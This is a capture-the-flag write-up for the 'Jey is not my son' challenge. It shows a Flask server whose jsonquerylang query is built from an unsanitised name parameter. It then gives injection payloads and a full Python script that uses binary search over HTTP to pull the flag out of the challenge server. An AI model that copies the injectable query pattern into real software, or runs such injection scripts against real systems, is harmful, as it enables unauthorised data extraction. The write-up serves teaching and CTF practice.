ctf-writeups

Jey is not my son

Find the year the flag was created, that’s the answer you seek. But beware: Jey is not not my son.

https://fortid-jey-is-not-my-son.chals.io/

Server code:

from flask import Flask, render_template, request
from jsonquerylang import jsonquery
import json
import string

app = Flask(__name__)

with open('data.json') as f:
    data = json.load(f)

def count_baby_names(name: str, year: int) -> int:
    query = f"""
                .collection
                    | filter(.Name == "{name}" and .Year == "{year}")
                    | pick(.Count)
                    | map(values())
                    | flatten()
                    | map(number(get()))
                    | sum()
            """
    output = jsonquery(data, query)
    return int(output)

def contains_digit(name: str) -> bool:
    for num in string.digits:
        if num in name:
            return True
    return False


@app.route("/", methods=["GET"])
def home():
    name = None
    year = None
    result = None
    error = None

    name = request.args.get("name", default="(no name)")
    year = request.args.get("year", type=int)

    if not name or contains_digit(name):
        error = "Please enter a name."
    elif not year:
        error = "Please enter a year."
    else:
        if year < 1880 or year > 2025:
            error = "Year must be between 1880 and 2025."
        try:
            result = count_baby_names(name=name, year=year)
        except Exception as e:
            error = f"Unexpected error: {e}"

    return render_template("index.html", name=name, year=year, count=result, error=error)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

There is a json query injection:

| filter(.Name == "{name}" and .Year == "{year}")

We can construct the following query to skip over the year check:

import json
from jsonquerylang import jsonquery

data = json.loads("""
{
  "collection": [
    {"Name": "Alice", "Year": "2020", "Count": 100},
    {"Name": "Bob", "Year": "2020", "Count": 200},
    {"Name": "flag", "Year": "FortID{a1b2c3d4}", "Count": 300}
  ]
}
""")

def test(name, year):
    query = f"""
                .collection
                    | filter(.Name == "{name}" and .Year == "{year}")
                    | pick(.Count)
                    | map(values())
                    | flatten()
                    | map(number(get()))
                    | sum()
            """
    print(jsonquery(data, query))

name = 'flag") | filter(.Name not in [] or .Name == "'
year = 2019
test(name, year)

Due to operator precedence, the second filter evaluates to True or False and False, which is always True. Then only the first filter is in effect.

Through this, we can confirm that there is an entry called flag online. Then, we need to extract its year field. However, it is a string field, so we cannout return the integer directly. Instead, we use string comparison operator:

name = 'flag") | map({Count: "FortID" >= .Year}) | filter(.Name not in [] or .Name == "'
year = 2019
test(name, year) # prints 0.0

name = 'flag") | map({Count: "FortIE" >= .Year}) | filter(.Name not in [] or .Name == "'
year = 2019
test(name, year) # prints 1.0

So we can use binary search to recover the flag. However, we cannot use integers. We can use string() to construct arbitrary integer:

string((""!="")+(""!="")+(""=="")+(""=="")+(""==""))
# becomes
string(0+0+1+1+1)
# becomes
"3"

Attack script:

import requests
import urllib
from jsonquerylang import jsonquery

flag = "FortID{"

alphabet = "#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"

while "}" not in flag:
    lo = 0
    hi = len(alphabet)
    while lo + 1 < hi:
        mi = (lo + hi) // 2
        ch = alphabet[mi]
        temp = flag + ch
        encoded = ""
        for c in temp:
            if c >= "0" and c <= "9":
                encoded += (
                    '"+string('
                    + "+".join(['(""!="")'] * 2 + ['(""=="")'] * (ord(c) - ord("0")))
                    + ')+"'
                )
                pass
            else:
                encoded += c

        name = (
            'flag") | map({Count: .Year >= ("'
            + encoded
            + '")}) | filter(.Name not in [] or .Name == "'
        )
        year = 2020

        r = requests.get(
            "https://fortid-jey-is-not-my-son.chals.io/?"
            + urllib.parse.urlencode(
                {
                    "name": name,
                    "year": year,
                }
            )
        )
        for line in r.text.splitlines():
            if "time" in line:
                times = int(line.split()[-2].split(">")[1].split("<")[0])
                print(temp, times)
                if times == 1:
                    # greater
                    lo = mi
                elif times == 0:
                    # lower
                    hi = mi
                break
    flag += alphabet[lo]

Flag: FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}.